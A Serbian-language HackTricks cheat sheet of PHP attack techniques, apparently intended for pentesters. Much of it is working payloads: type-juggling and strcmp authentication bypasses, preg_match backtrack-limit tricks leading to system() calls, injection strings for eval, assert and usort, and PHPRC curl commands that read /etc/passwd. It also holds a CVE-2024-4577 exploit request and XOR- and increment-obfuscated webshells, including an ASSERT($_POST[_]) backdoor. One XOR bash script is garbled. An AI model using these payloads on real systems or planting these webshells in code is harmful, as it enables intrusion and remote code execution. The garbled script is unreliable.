PHP Tricks
Reading time: 17 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Uobičajena lokacija kolačića:
Ovo važi i za phpMyAdmin kolačiće.
Kolačići:
PHPSESSID
phpMyAdmin
Lokacije:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
Zaobilaženje PHP upoređivanja
Labava upoređivanja/Tip prebacivanje ( == )
Ako se ==
koristi u PHP-u, postoje neočekivani slučajevi gde upoređivanje ne funkcioniše kako se očekuje. To je zato što "==" upoređuje samo vrednosti transformisane u isti tip, ako takođe želite da uporedite da li je tip upoređivanih podataka isti, morate koristiti ===
.
PHP tabele upoređivanja: https://www.php.net/manual/en/types.comparisons.php
"string" == 0 -> True
String koji ne počinje brojem je jednak broju"0xAAAA" == "43690" -> True
Stringovi sastavljeni od brojeva u decimalnom ili heksadecimalnom formatu mogu se uporediti sa drugim brojevima/stringovima sa True kao rezultatom ako su brojevi isti (brojevi u stringu se tumače kao brojevi)"0e3264578" == 0 --> True
String koji počinje sa "0e" i nakon toga sledi bilo šta će biti jednak 0"0X3264578" == 0X --> True
String koji počinje sa "0" i nakon toga sledi bilo koje slovo (X može biti bilo koje slovo) i nakon toga bilo šta će biti jednak 0"0e12334" == "0" --> True
Ovo je veoma zanimljivo jer u nekim slučajevima možete kontrolisati string unos "0" i neki sadržaj koji se hešira i upoređuje sa njim. Stoga, ako možete da obezbedite vrednost koja će stvoriti heš koji počinje sa "0e" i bez ikakvog slova, mogli biste zaobići upoređivanje. Možete pronaći već heširane stringove sa ovim formatom ovde: https://github.com/spaze/hashes"X" == 0 --> True
Svako slovo u stringu je jednako int 0
Više informacija na https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
Tip prebacivanje takođe utiče na funkciju in_array()
po defaultu (morate postaviti treći argument na true da biste napravili strogo upoređivanje):
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
strcmp()/strcasecmp()
Ako se ova funkcija koristi za bilo koju proveru autentifikacije (kao što je provera lozinke) i korisnik kontroliše jednu stranu poređenja, može poslati prazan niz umesto stringa kao vrednost lozinke (https://example.com/login.php/?username=admin&password[]=
) i zaobići ovu proveru:
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
Ista greška se javlja sa strcasecmp()
Strogo tipiziranje
Čak i ako se koristi ===
, mogu se javiti greške koje čine da je upoređivanje vulnerabilno na tipiziranje. Na primer, ako upoređivanje konvertuje podatke u drugi tip objekta pre upoređivanja:
(int) "1abc" === (int) "1xyz" //This will be true
preg_match(/^.*/)
preg_match()
može se koristiti za validaciju korisničkog unosa (proverava da li je neka reč/regex iz crne liste prisutna u korisničkom unosu i ako nije, kod može nastaviti sa izvršavanjem).
Bypass novog reda
Međutim, kada se deli početak regexp-a, preg_match()
proverava samo prvu liniju korisničkog unosa, tako da ako nekako možete poslati unos u several lines, mogli biste da zaobiđete ovu proveru. Primer:
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
Da biste zaobišli ovu proveru, možete poslati vrednost sa novim redovima urlencoded (%0A
) ili ako možete poslati JSON podatke, pošaljite ih u several lines:
{
"cmd": "cat /etc/passwd"
}
Nađite primer ovde: https://ramadistra.dev/fbctf-2019-rceservice
Obilaženje greške u dužini
(Ovo obilaženje je očigledno isprobano na PHP 5.2.5 i nisam mogao da ga pokrenem na PHP 7.3.15)
Ako možete poslati preg_match()
važeći veoma veliki unos, neće moći da ga obradi i moći ćete da obidjete proveru. Na primer, ako se crni spisak odnosi na JSON, mogli biste poslati:
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0
ReDoS Bypass
Trik iz: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 i https://mizu.re/post/pong
.png)
Ukratko, problem nastaje jer preg_*
funkcije u PHP-u koriste PCRE biblioteku. U PCRE određene regularne izraze se podudara koristeći mnogo rekurzivnih poziva, što troši mnogo prostora na steku. Moguće je postaviti limit na broj dozvoljenih rekurzija, ali u PHP-u ovaj limit podrazumevano iznosi 100.000 što je više nego što stane na stek.
Ova Stackoverflow tema je takođe povezana u postu gde se o ovom problemu govori detaljnije. Naš zadatak je sada bio jasan:
Poslati ulaz koji bi naterao regex da izvrši 100_000+ rekurzija, uzrokujući SIGSEGV, čineći da preg_match()
funkcija vrati false
, čime aplikacija misli da naš ulaz nije maliciozan, izbacujući iznenađenje na kraju payload-a nešto poput {system(<verybadcommand>)}
da bi dobili SSTI --> RCE --> flag :).
Pa, u terminima regex-a, zapravo ne radimo 100k "rekurzija", već umesto toga brojimo "korake unazad", što, kao što PHP dokumentacija navodi, podrazumevano iznosi 1_000_000 (1M) u varijabli pcre.backtrack_limit
.\
Da bismo to postigli, 'X'*500_001
će rezultirati u 1 milion koraka unazad (500k unapred i 500k unazad):
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
Type Juggling za PHP obfuscaciju
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
Execute After Redirect (EAR)
Ako PHP preusmerava na drugu stranicu, ali nijedna die
ili exit
funkcija nije pozvana nakon što je zaglavlje Location
postavljeno, PHP nastavlja sa izvršavanjem i dodaje podatke u telo:
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
Put Traversal i Eksploatacija Uključivanja Datoteka
Proverite:
Više trikova
- register_globals: U PHP < 4.1.1.1 ili ako je pogrešno konfigurisano, register_globals može biti aktivan (ili se njihovo ponašanje imitira). To implicira da u globalnim promenljivim kao što je $_GET, ako imaju vrednost npr. $_GET["param"]="1234", možete mu pristupiti preko $param. Stoga, slanjem HTTP parametara možete prepisati promenljive koje se koriste unutar koda.
- PHPSESSION kolačići iste domene se čuvaju na istom mestu, stoga ako unutar domene različiti kolačići se koriste u različitim putanjama, možete učiniti da putanja pristupi kolačiću druge putanje postavljanjem vrednosti kolačića druge putanje.
Na ovaj način, ako obe putanje pristupaju promenljivoj sa istim imenom, možete učiniti da vrednost te promenljive u putanji1 važi za putanju2. I tada će putanja2 smatrati validnim promenljive putanje1 (dajući kolačiću ime koje odgovara njemu u putanji2). - Kada imate korisnička imena korisnika mašine. Proverite adresu: /~<USERNAME> da vidite da li su php direktorijumi aktivirani.
- Ako php konfiguracija ima
register_argc_argv = On
, tada se parametri upita odvojeni razmacima koriste za popunjavanje niza argumenataarray_keys($_SERVER['argv'])
kao da su argumenti iz CLI. Ovo je zanimljivo jer ako je ta postavka isključena, vrednost args niza će bitiNull
kada se pozove sa web-a jer ars niz neće biti popunjen. Stoga, ako web stranica pokuša da proveri da li se pokreće kao web ili kao CLI alat sa poređenjem poputif (empty($_SERVER['argv'])) {
, napadač može poslati parametre u GET zahtevu kao?--configPath=/lalala
i misliće da se pokreće kao CLI i potencijalno obraditi i koristiti te argumente. Više informacija u originalnom tekstu. - LFI i RCE koristeći php omotače
password_hash/password_verify
Ove funkcije se obično koriste u PHP-u za generisanje heševa iz lozinki i za proveru da li je lozinka tačna u poređenju sa hešem.
Podržani algoritmi su: PASSWORD_DEFAULT
i PASSWORD_BCRYPT
(počinje sa $2y$
). Imajte na umu da je PASSWORD_DEFAULT često isto što i PASSWORD_BCRYPT. A trenutno, PASSWORD_BCRYPT ima ograničenje veličine ulaza od 72bajta. Stoga, kada pokušate da hešujete nešto veće od 72bajta sa ovim algoritmom, koristiće se samo prvih 72B:
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
HTTP headers bypass abusing PHP errors
Causing error after setting headers
From this twitter thread možete videti da slanje više od 1000 GET parametara ili 1000 POST parametara ili 20 fajlova, PHP neće postaviti zaglavlja u odgovoru.
Omogućavajući zaobilaženje, na primer, CSP zaglavlja koja se postavljaju u kodovima kao:
<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];
Popunjavanje tela pre postavljanja zaglavlja
Ako PHP stranica ispisuje greške i vraća neki unos koji je obezbedio korisnik, korisnik može naterati PHP server da vrati neki sadržaj dovoljno dug tako da kada pokuša da doda zaglavlja u odgovor, server će baciti grešku.
U sledećem scenariju napadač je naterao server da baci neke velike greške, i kao što možete videti na ekranu kada je PHP pokušao da izmeni informacije o zaglavlju, nije mogao (tako da, na primer, CSP zaglavlje nije poslato korisniku):
SSRF u PHP funkcijama
Proverite stranicu:
Izvršavanje koda
system("ls");
`ls`;
shell_exec("ls");
Proverite ovo za više korisnih PHP funkcija
RCE putem preg_replace()
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
Da bi se izvršio kod u "replace" argumentu, potrebna je barem jedna podudarnost.
Ova opcija preg_replace je ukinuta od PHP 5.5.0.
RCE putem Eval()
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
RCE putem Assert()
Ova funkcija unutar php omogućava vam da izvršite kod koji je napisan u stringu kako biste vratili true ili false (i u zavisnosti od toga promenili izvršenje). Obično će korisnička promenljiva biti umetnuta u sredinu stringa. Na primer:
assert("strpos($_GET['page']),'..') === false")
--> U ovom slučaju da biste dobili RCE mogli biste uraditi:
?page=a','NeVeR') === false and system('ls') and strpos('a
Morate razbiti sintaksu koda, dodati svoj payload, a zatim ponovo ga popraviti. Možete koristiti logičke operacije kao što su "and" ili "%26%26" ili "|". Imajte na umu da "or", "||" ne funkcioniše jer ako je prvi uslov tačan, naš payload se neće izvršiti. Na isti način ";" ne funkcioniše jer se naš payload neće izvršiti.
Druga opcija je da dodate u string izvršenje komande: '.highlight_file('.passwd').'
Druga opcija (ako imate interni kod) je da modifikujete neku promenljivu da biste promenili izvršenje: $file = "hola"
RCE putem usort()
Ova funkcija se koristi za sortiranje niza stavki koristeći specifičnu funkciju.
Da biste zloupotrebili ovu funkciju:
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
Možete takođe koristiti // da komentarišete ostatak koda.
Da biste otkrili broj zagrada koje treba da zatvorite:
?order=id;}//
: dobijamo poruku o grešci (Parse error: syntax error, unexpected ';'
). Verovatno nam nedostaje jedna ili više zagrada.?order=id);}//
: dobijamo upozorenje. To izgleda u redu.?order=id));}//
: dobijamo poruku o grešci (Parse error: syntax error, unexpected ')' i
). Verovatno imamo previše zatvorenih zagrada.
RCE putem .httaccess
Ako možete da otpremite .htaccess, onda možete konfigurisati nekoliko stvari i čak izvršiti kod (konfigurišući da se datoteke sa ekstenzijom .htaccess mogu izvršiti).
Različiti .htaccess shell-ovi mogu se naći ovde
RCE putem Env Varijabli
Ako pronađete ranjivost koja vam omogućava da modifikujete env varijable u PHP-u (i još jednu za otpremanje datoteka, iako uz više istraživanja možda ovo može biti zaobiđeno), mogli biste zloupotrebiti ovo ponašanje da dobijete RCE.
LD_PRELOAD
: Ova env varijabla vam omogućava da učitate proizvoljne biblioteke prilikom izvršavanja drugih binarnih datoteka (iako u ovom slučaju možda neće raditi).PHPRC
: Upravlja PHP-om o tome gde da locira svoj konfiguracioni fajl, obično nazvanphp.ini
. Ako možete da otpremite svoj konfiguracioni fajl, onda, koristitePHPRC
da usmerite PHP ka njemu. Dodajteauto_prepend_file
unos koji specificira drugi otpremljeni fajl. Ovaj drugi fajl sadrži normalan PHP kod, koji se zatim izvršava od strane PHP runtime-a pre bilo kog drugog koda.
- Otpremite PHP fajl koji sadrži naš shellcode
- Otpremite drugi fajl, koji sadrži
auto_prepend_file
direktivu koja upućuje PHP preprocesor da izvrši fajl koji smo otpremili u koraku 1 - Postavite
PHPRC
varijablu na fajl koji smo otpremili u koraku 2.
- Dobijte više informacija o tome kako izvršiti ovaj lanac iz originalnog izveštaja.
- PHPRC - druga opcija
- Ako ne možete otpremiti fajlove, možete koristiti u FreeBSD "fajl"
/dev/fd/0
koji sadržistdin
, što je telo zahteva poslatog nastdin
: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
- Ili da dobijete RCE, omogućite
allow_url_include
i dodajte fajl sa base64 PHP kodom: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
- Tehnika iz ovog izveštaja.
XAMPP CGI RCE - CVE-2024-4577
Web server analizira HTTP zahteve i prosleđuje ih PHP skripti koja izvršava zahtev kao http://host/cgi.php?foo=bar
kao php.exe cgi.php foo=bar
, što omogućava injekciju parametara. Ovo bi omogućilo injekciju sledećih parametara za učitavanje PHP koda iz tela:
-d allow_url_include=1 -d auto_prepend_file=php://input
Osim toga, moguće je injektovati "-" parametar koristeći 0xAD karakter zbog kasnije normalizacije PHP-a. Proverite primer eksploatacije iz ove objave:
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
phpinfo();
?>
PHP Sanitization bypass & Brain Fuck
U ovom postu moguće je pronaći sjajne ideje za generisanje brain fuck PHP koda sa vrlo malo dozvoljenih karaktera.
Pored toga, predložen je i zanimljiv način za izvršavanje funkcija koje su im omogućile da zaobiđu nekoliko provera:
(1)->{system($_GET[chr(97)])}
PHP Staticka analiza
Pogledajte da li možete umetnuti kod u pozive ovih funkcija (iz ovde):
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
Ako debagujete PHP aplikaciju, možete globalno omogućiti štampanje grešaka u /etc/php5/apache2/php.ini
dodavanjem display_errors = On
i restartovanjem apache-a: sudo systemctl restart apache2
Deobfuskacija PHP koda
Možete koristiti web www.unphp.net za deobfuskaciju php koda.
PHP omotači i protokoli
PHP omotači i protokoli mogu vam omogućiti da obiđete zaštite za pisanje i čitanje u sistemu i kompromitujete ga. Za više informacija proverite ovu stranicu.
Xdebug neautentifikovani RCE
Ako vidite da je Xdebug omogućen u phpconfig()
izlazu, trebali biste pokušati da dobijete RCE putem https://github.com/nqxcode/xdebug-exploit
Varijabilne varijable
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
RCE zloupotreba novog $_GET["a"]($_GET["b")
Ako na stranici možete napraviti novi objekat proizvoljne klase, možda ćete moći da dobijete RCE, proverite sledeću stranicu da biste saznali kako:
PHP - RCE abusing object creation: new $_GET"a"
Izvršavanje PHP bez slova
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
Korišćenje oktalnog
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
XOR
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
XOR easy shell code
Prema ovom izveštaju moguće je generisati jednostavan shellcode na ovaj način:
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
Dakle, ako možete izvršiti proizvoljni PHP bez brojeva i slova možete poslati zahtev poput sledećeg koristeći tu payload da izvršite proizvoljni PHP:
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
Za detaljnije objašnjenje pogledajte https://ctf-wiki.org/web/php/php/#preg_match
XOR Shellcode (unutar eval)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
Perl kao
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.